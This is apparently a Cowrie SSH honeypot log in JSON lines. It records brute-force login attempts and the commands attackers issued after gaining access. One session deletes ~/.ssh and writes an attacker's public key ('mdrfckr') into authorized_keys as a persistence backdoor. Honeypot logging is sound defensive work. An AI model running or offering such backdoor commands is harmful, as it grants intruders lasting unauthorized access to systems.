{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:36.088540Z","src_ip":"124.243.170.62","session":"d1347f4d0242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26f038b249c","protocol":"ssh","message":"New connection: 124.243.170.62:46710 (159.203.135.109:22) [session: d26f038b249c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:36.165643Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":46712,"dst_ip":"159.203.135.109","dst_port":22,"session":"853c1b9be4c3","protocol":"ssh","message":"New connection: 124.243.170.62:46712 (159.203.135.109:22) [session: 853c1b9be4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:36.419790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:36.423581Z","src_ip":"124.243.170.62","session":"853c1b9be4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:37.702587Z","src_ip":"124.243.170.62","session":"d26f038b249c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:42.980043Z","src_ip":"124.243.170.62","session":"853c1b9be4c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"quangbaonguyen@123","message":"login attempt [root/quangbaonguyen@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:43.596570Z","src_ip":"124.243.170.62","session":"d1347f4d0242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:43.847439Z","src_ip":"124.243.170.62","session":"d1347f4d0242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:44.420055Z","src_ip":"124.243.170.62","session":"853c1b9be4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.186.36","src_port":41362,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfffc4a5add0","protocol":"ssh","message":"New connection: 183.91.186.36:41362 (159.203.135.109:22) [session: dfffc4a5add0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:47.648672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:47.652926Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:47.910160Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"aa12345678","message":"login attempt [root/aa12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:48.977166Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:49.539701Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:49.543171Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:49.546882Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:49.810805Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.368522Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.371876Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.637512Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.640844Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.186.36","src_port":41368,"dst_ip":"159.203.135.109","dst_port":22,"session":"246ec75d344b","protocol":"ssh","message":"New connection: 183.91.186.36:41368 (159.203.135.109:22) [session: 246ec75d344b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.901371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:50.906002Z","src_ip":"183.91.186.36","session":"246ec75d344b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:51.170610Z","src_ip":"183.91.186.36","session":"246ec75d344b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:52.260079Z","src_ip":"183.91.186.36","session":"246ec75d344b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:53.526598Z","src_ip":"183.91.186.36","session":"246ec75d344b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.186.36","src_port":56228,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e1601dd8f67","protocol":"ssh","message":"New connection: 183.91.186.36:56228 (159.203.135.109:22) [session: 2e1601dd8f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:53.784739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:53.791303Z","src_ip":"183.91.186.36","session":"2e1601dd8f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:54.053484Z","src_ip":"183.91.186.36","session":"2e1601dd8f67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:55.137944Z","src_ip":"183.91.186.36","session":"2e1601dd8f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:55.409581Z","src_ip":"183.91.186.36","session":"dfffc4a5add0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:22:55.414469Z","src_ip":"183.91.186.36","session":"2e1601dd8f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":46533,"dst_ip":"10.17.0.5","dst_port":22,"session":"a95be3a715c6","protocol":"ssh","message":"New connection: 213.209.159.159:46533 (10.17.0.5:22) [session: a95be3a715c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:48.174540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:48.180580Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:48.263061Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn","message":"login attempt [jaylyn/jaylyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:48.663122Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn1","message":"login attempt [jaylyn/jaylyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:49.748503Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn123","message":"login attempt [jaylyn/jaylyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:50.833146Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn1234","message":"login attempt [jaylyn/jaylyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:51.917305Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn12345","message":"login attempt [jaylyn/jaylyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:53.001538Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:24:54.087492Z","src_ip":"213.209.159.159","session":"a95be3a715c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":57426,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9e5f6a736d","protocol":"ssh","message":"New connection: 85.198.97.85:57426 (159.203.135.109:22) [session: 9f9e5f6a736d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:57.646617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:57.651472Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:57.784673Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
